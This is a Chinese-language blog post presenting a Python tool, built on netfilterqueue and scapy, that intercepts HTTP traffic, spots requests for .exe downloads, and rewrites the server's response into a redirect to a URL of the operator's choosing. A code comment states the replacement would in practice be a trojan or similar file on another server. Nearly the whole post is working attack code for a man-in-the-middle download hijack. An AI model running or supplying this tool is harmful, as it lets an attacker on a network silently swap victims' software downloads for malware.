利用netfilter以及scapy模块实现文件下载替换
本代码基于面向对象思想编写,主要利用到的模块为netfilterqueue,以及scapy模块,前者主要是将iptables重定向过来的报文进行缓存,后者是对缓存队列的报文进行解析以及修改。
由于网络中HTTP访问请求以及响应很多,第一步如何识别出含有可执行文件的下载请求,这点通过分析报文load中是否有.exe扩展名即可。第二步:是如何将响应报文与上述识别出的报文对应起来,这点主要通过:由于响应报文中的seq值与上述请求报文中的ack值相同,通过这点将请求报文与响应报文关联起来。
还有一点需要注意的是,由于需要将load进行解码,可能会遇到解码异常,因此需要利用exception捕捉到该异常,对该异常无需做特别处理,只是为了让程序正常运行。
from scapy.all import * import netfilterqueue import sys import optparse class HTTPDownloadManipulator: def __init__(self) -> None: self.target = self.get_params() #这是命令行参数,用户可以指定替换成目标的文件(含有完整URL),在实际操作中,可能是另外一台运行HTTP服务的服务器,并且有木马等文件进行替换。 self.ack_list = [] def get_params(self): parser = optparse.OptionParser('Usage: < Program > -t manipulated URL') parser.add_option('-t', '--target', dest='target', type='string', help='Specify url which points to manipulated executable') options, args = parser.parse_args() if options.target is None: print(parser.usage) sys.exit() return options.target def del_elements(self, scapy_packet): del scapy_packet[IP].len del scapy_packet[IP].chksum del scapy_packet[TCP].chksum return scapy_packet def packet_handler(self, pkt): scapy_packet = IP(pkt.get_payload()) if scapy_packet.haslayer(Raw): try: if scapy_packet[TCP].dport == 80: load = scapy_packet.getlayer(Raw).load.decode('utf-8') #This is request packet if '.exe' in load: print('[-] Found request to download executable') self.ack_list.append(scapy_packet.getlayer(TCP).ack) elif scapy_packet[TCP].sport == 80: #This is response packet if scapy_packet[TCP].seq in self.ack_list: self.ack_list.remove(scapy_packet[TCP].seq) #This packet of response needs to be manipulated print('-] Modify executalbe') load = 'HTTP/1.1 301 Moved Permanently\r\nLocation: %s\r\n' % self.target scapy_packet[Raw].load = load scapy_packet = self.del_elements(scapy_packet) pkt.set_payload(bytes(scapy_packet)) except Exception as e: pass pkt.accept() def run(self): queue = netfilterqueue.NetfilterQueue() queue.bind(0, self.packet_handler) queue.run() if __name__ == '__main__': httpobj = HTTPDownloadManipulator() httpobj.run()
STRIVE FOR PROGRESS,NOT FOR PERFECTION